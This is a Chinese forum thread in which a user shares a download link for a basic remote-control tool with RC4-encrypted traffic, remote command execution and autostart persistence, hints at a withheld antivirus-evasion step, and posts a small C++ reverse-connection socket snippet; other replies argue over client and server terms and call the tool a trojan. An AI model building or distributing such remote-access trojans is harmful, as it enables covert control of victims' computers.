Panel 发表于 2023-5-10 21:26

一套很基础的远程控制代码

仅供参考学习!
仅供参考学习!
仅供参考学习!


使用易语言开的服务端,cpp写的客户端,流量采用RC4加密,有远程cmd命令执行,动态加开机自启,ms还差一步,不宜透露,聪明的人会知道是那一步{:301_988:}





下载地址: https://fbxy.lanzoum.com/is6T10v6ex9e


仅供参考学习!
仅供参考学习!
仅供参考学习!



4899 发表于 2023-5-11 09:36

Panel 发表于 2023-5-10 23:07
我易语言写的是服务端,看也能看得出来嘛,哥哥

传统意义上,被控端为服务端,控制端为客户端。。。
被控端执行后开启服务,等待控制端(客户端)链接控制。。。
这种模式下,一般被控端会把连接信息发送到某个公网地址或者邮箱,等待控制端控制,不会主动访问控制端。。
控制端拿到连接信息后,根据需要输入连接信息主动链接被控端。
比如向日葵,连接信息就是识别码和验证码,获取这个信息后任何地方的客户端都可以主动访问对方,这个时候对方就是服务端,你是客户端。服务端只开启服务,不知道控制端在哪里。(当然向日葵实际模式比这个要复杂)




你这个叫反向链接,
控制端开启一个服务,等待被控端主动链接,就是被控端主动联系控制端,一般情况下,控制端开启后,有多少个被控端连接在线都能看到。
这种模式下,一般服务端都会比较固定,比如有固定的IP地址或者固定的域名地址供被控端访问。
从连接访问的角度来讲,控制端是服务端,被控端是客户端。。
从远程控制的角度讲,被控端依然是服务端。

Panel 发表于 2023-5-11 10:04

4899 发表于 2023-5-11 09:36
传统意义上,被控端为服务端,控制端为客户端。。。
被控端执行后开启服务,等待控制端(客户端)链接控 ...

WSADATA SockData;
        WSAStartup(MAKEWORD(2, 2), &SockData);
        talksock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        sockaddr_in saSrv;
        saSrv.sin_addr.s_addr = inet_addr("127.0.0.1");
        saSrv.sin_family = AF_INET;
        saSrv.sin_port = htons(19730);
        connect(talksock, (sockaddr*)&saSrv, sizeof(saSrv));
这是cpp写的被控端,你看看是控制端连被控端还是被控端连控制端

不知道改成啥 发表于 2023-5-10 21:51

虽然看不懂,但是感觉很牛逼的样子。

236A 发表于 2023-5-10 22:07

看起来屌屌的样子 那我就赞一个

LXGZJ237 发表于 2023-5-10 22:21

看看源码{:301_986:}

moruye 发表于 2023-5-10 22:48

snowshine 发表于 2023-5-10 22:50

差哪一步呢?哪位大神解答一下

孤狼微博 发表于 2023-5-10 23:06

感觉描述错误了,易写的是客户端,真正的干活的才是服务端也就是木马那块

Panel 发表于 2023-5-10 23:07

孤狼微博 发表于 2023-5-10 23:06
感觉描述错误了,易写的是客户端,真正的干活的才是服务端也就是木马那块

我易语言写的是服务端,看也能看得出来嘛,哥哥

孤狼微博 发表于 2023-5-10 23:07

Panel 发表于 2023-5-10 23:07
我易语言写的是服务端,看也能看得出来嘛,哥哥

木马端 叫服务端{:1_907:}

wzyl 发表于 2023-5-10 23:08

看不懂 但是还是说一句牛逼{:1_925:}
页: [1] 2 3 4 5
查看完整版本: 一套很基础的远程控制代码